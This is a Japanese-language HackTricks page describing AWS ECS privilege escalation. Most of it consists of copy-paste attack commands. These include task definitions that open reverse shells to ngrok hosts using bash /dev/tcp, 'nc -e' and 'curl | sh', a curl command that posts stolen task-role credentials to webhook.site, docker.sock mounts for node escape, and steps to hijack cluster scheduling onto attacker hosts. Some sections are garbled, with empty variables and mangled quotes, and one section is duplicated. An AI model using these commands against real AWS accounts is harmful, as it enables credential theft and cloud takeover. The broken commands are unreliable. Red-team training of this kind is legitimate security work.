AWS - ECS Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

subscription plans を確認してください!

参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。

Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

ECS

ECSに関する情報は次を参照:

AWS - ECS Enum

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

攻撃者がECSでiam:PassRole、ecs:RegisterTaskDefinition、ecs:RunTaskの権限を悪用すると、メタデータ認証情報を盗む悪意のあるコンテナを含む新しいタスク定義を生成し、それを実行できます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

webhook.site のようなサイトで webhook を作成する


# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 別の ECS role への直接 privesc。

iam:PassRole と ecs:RunTask の権限を持つ攻撃者は、execution role、task role、およびコンテナの command の値を変更した新しい ECS タスクを起動できます。ecs run-task CLI コマンドには --overrides フラグがあり、タスク定義を変更することなく実行時に executionRoleArn、taskRoleArn、およびコンテナの command を変更できます。

taskRoleArn と executionRoleArn に指定された IAM ロールは、そのトラストポリシーで ecs-tasks.amazonaws.com による引き受け（assume）を許可している必要があります。

また、攻撃者は以下を把握している必要があります:

ECS cluster name
VPC Subnet
Security group (Security group が指定されない場合はデフォルトのものが使用されます)
Task Definition Name and revision
Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

上のコードスニペットでは攻撃者は taskRoleArn の値のみを上書きしています。ただし、この攻撃を行うには、攻撃者がコマンドで指定した taskRoleArn とタスク定義で指定された executionRoleArn の両方に対して iam:PassRole 権限を持っている必要があります。

攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限（ecr:BatchCheckLayerAvailability、ecr:GetDownloadUrlForLayer、ecr:BatchGetImage、ecr:GetAuthorizationToken）を持っている場合、攻撃者は ecs run-task コマンドで executionRoleArn と taskRoleArn の両方に同じ IAM ロールを指定できます。

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

潜在的影響: 任意の ECS task role への直接的な privesc.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

前の例と同様に、ECSで**iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTaskの権限を悪用する攻撃者は、新しい task definition を生成し、悪意のあるコンテナでメタデータ認証情報を窃取してそれを実行する**ことができます。
ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 任意の ECS role への直接的な privesc。

`iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

前の例と同様に、ECSで iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService または ecs:CreateService の権限を悪用する攻撃者は、新しいタスク定義を作成して 悪意あるコンテナ を組み込みメタデータの認証情報を盗み、少なくとも1つのタスクを実行する新しいサービスを作成してそれを実行。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potential Impact: 任意の ECS role への直接的な privesc。

`iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

実際、これらの権限だけで、overrides を使って任意の role を割り当てたコンテナ内で任意のコマンドを実行することが可能です。例えば:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: 任意の ECS role への直接的な privesc。

`ecs:RegisterTaskDefinition`, `(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

This scenario is like the previous ones but without the iam:PassRole permission.
これは依然として興味深いシナリオです。任意のコンテナを実行できる場合、たとえ role がなくても、run a privileged container to escape ことでノードにエスケープし、steal the EC2 IAM role やノード上で実行されているother ECS containers roles を盗むことができます。
侵害した EC2 インスタンス内で force other tasks to run inside the EC2 instance することで、それらの資格情報を盗むことさえ可能です（Privesc to node section で説明しています）。

Warning

この攻撃は ECS cluster is using EC2 インスタンスを使用している場合にのみ可能で、Fargate では実行できません。

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

`ecs:ExecuteCommand`, `ecs:DescribeTasks,``(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

権限 ecs:ExecuteCommand, ecs:DescribeTasks を持つ攻撃者は、実行中のコンテナ内で コマンドを実行 し、そこにアタッチされた IAM ロールを流出させることができます（aws ecs execute-command を実行するには describe 権限が必要なため）。
ただし、そのためにはコンテナインスタンスが ExecuteCommand agent を実行している必要があります（デフォルトでは実行されていません）。

したがって、攻撃者は次を試みる可能性があります:

実行中のすべてのコンテナでコマンドを実行しようとする

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

コンテナ内にshellを取得したら、通常、task credentials endpointからtask role credentialsを抽出してコンテナ外で再利用できます:

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY

もし**ecs:RunTask**を持っていれば、aws ecs run-task --enable-execute-command [...]でタスクを実行します。
もし**ecs:StartTask**を持っていれば、aws ecs start-task --enable-execute-command [...]でタスクを実行します。
もし**ecs:CreateService**を持っていれば、aws ecs create-service --enable-execute-command [...]でサービスを作成します。
もし**ecs:UpdateService**を持っていれば、aws ecs update-service --enable-execute-command [...]でサービスを更新します。

これらのオプションの例はprevious ECS privesc sectionsで確認できます。

Potential Impact: コンテナにアタッチされた別のロールへのprivesc。

`ssm:StartSession`

この権限を悪用してprivesc to ECSする方法はssm privesc pageを参照してください:

AWS - SSM Privesc

`iam:PassRole`, `ec2:RunInstances`

これらの権限を悪用してprivesc to ECSする方法はec2 privesc pageを参照してください:

AWS - EC2 Privesc

`ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

これらの権限を持つ攻撃者は、しばしば**「cluster membership」をセキュリティ境界のバイパスに変える**ことができます:

被害者のECSクラスタにattacker-controlled EC2 instanceを登録する（container instanceになる）
カスタムのcontainer instance attributesを設定してplacement constraintsを満たす
ECSにそのホスト上でタスクをスケジュールさせる
ホスト上で実行中のタスクからtask role credentials（およびコンテナ内の秘密/データ）を盗む

大まかなワークフロー:

ターゲットアカウント内で自分が管理するEC2インスタンスからEC2 instance identity document + signatureを取得する（例: SSM/SSH経由）:

curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig

対象のクラスターに登録し、必要に応じて配置制約を満たすための属性を設定する:

aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack

参加していることを確認する:

aws ecs list-container-instances --cluster "$CLUSTER"

タスクを開始する / サービスを更新してインスタンス上で何かがスケジュールされるようにし、その後タスク内から task role creds を取得する:

# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

注意:

インスタンス識別ドキュメント/署名を使用してコンテナインスタンスを登録することは、対象アカウントの EC2 インスタンスにアクセス権（または既に乗っ取っていること）を持っていることを意味します。クロスアカウントの “bring your own EC2” については、このページの ECS Anywhere を参照してください。
Placement constraints は一般的にコンテナインスタンスの属性に依存します。どの属性を設定する必要があるかを把握するために、ecs:DescribeServices、ecs:DescribeTaskDefinition、および ecs:DescribeContainerInstances で列挙してください。

`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

Note

要テスト

攻撃者が ecs:CreateTaskSet、ecs:UpdateServicePrimaryTaskSet、および ecs:DescribeTaskSets の権限を持っていると、既存の ECS サービスに対して 悪意のあるタスクセットを作成しプライマリタスクセットを更新することができます。これにより攻撃者は、サービス内で 任意のコードを実行することができます。

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

潜在的な影響: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり機密データを外部に流出させたりする可能性があります。

References

https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

ECS capacity providers を管理し、サービスを更新する権限を持つ攻撃者は、自分が制御する EC2 Auto Scaling Group を作成してそれを ECS Capacity Provider にラップし、ターゲットの cluster に関連付けて被害者のサービスをこのプロバイダへ移行できます。そうするとタスクは攻撃者が管理する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを検査したり task role の資格情報を盗むことが可能になります。

Commands (us-east-1):

前提条件
Create Launch Template for ECS agent to join target cluster
Create Auto Scaling Group
Create Capacity Provider from the ASG
Associate the Capacity Provider to the cluster (optionally as default)
Migrate a service to your provider
Verify tasks land on attacker instances
Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
Cleanup

潜在的な影響: 攻撃者が管理する EC2 ノードに被害者のタスクが配置されることで、コンテナへの OS レベルのアクセスや task IAM role の資格情報の窃取が可能になります。

Step-by-step commands (copy/paste)

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider –name  –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED”
aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers  –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK=
CI=
aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text


Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
ECS Anywhere を悪用して攻撃者が制御するホストを被害者の ECS cluster に EXTERNAL container instance として登録し、そのホスト上で privileged task と execution role を使ってタスクを実行できます。これによりタスクの実行場所を OS レベルで制御（自分のマシン上で実行）でき、capacity providers や ASGs に触れることなくタスクやアタッチされたボリュームからの資格情報／データ窃取が可能になります。


Required perms (example minimal):


ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask


ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation


iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)


logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)


Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.


Steps

Create/identify cluster (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere


ECS Anywhere ロールと SSM activation を作成する（on-prem/EXTERNAL instance 用）

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)


攻撃者ホストをプロビジョニングし、EXTERNAL として自動登録する（例：小さな AL2 EC2 を「on‑prem」として）


user-data.sh
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```

```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) EXTERNAL コンテナインスタンスが参加していることを確認する
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) task/execution roles を作成し、EXTERNAL task definition を登録して、それを attacker host 上で実行する
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role
task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”,
“taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”,
“containerDefinitions”: [
{“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”,
“entryPoint”:[“/bin/sh”,“-c”],
“command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”],
“memory”: 128,
“logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}}
}
]
}
JSON
aws logs create-log-group –log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition –cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text)
aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external 
–container-instances $CI
6) ここからタスクを実行しているホストを制御できます。タスクのログを読むことができ（awslogs を使用している場合）、またはホスト上で直接 exec してタスクから認証情報／データを持ち出すことができます。

#### コマンド例（プレースホルダ）

### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

攻撃者が ECS capacity providers の管理とサービス更新の権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が管理する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを検査したり、task role credentials を盗むことが可能になります。

Commands (us-east-1):

- 前提条件

- Create Launch Template for ECS agent to join target cluster

- Create Auto Scaling Group

- Create Capacity Provider from the ASG

- Associate the Capacity Provider to the cluster (optionally as default)

- Migrate a service to your provider

- Verify tasks land on attacker instances

- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

- クリーンアップ

**潜在的な影響:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスして task IAM role credentials を窃取される可能性があります。
> [!TIP]
> 学んで実践する AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学んで実践する GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学んで実践する Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks をサポートする</summary>
>
> - [**subscription plans**](https://github.com/sponsors/carlospolop) を確認してください!
> - **参加する** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>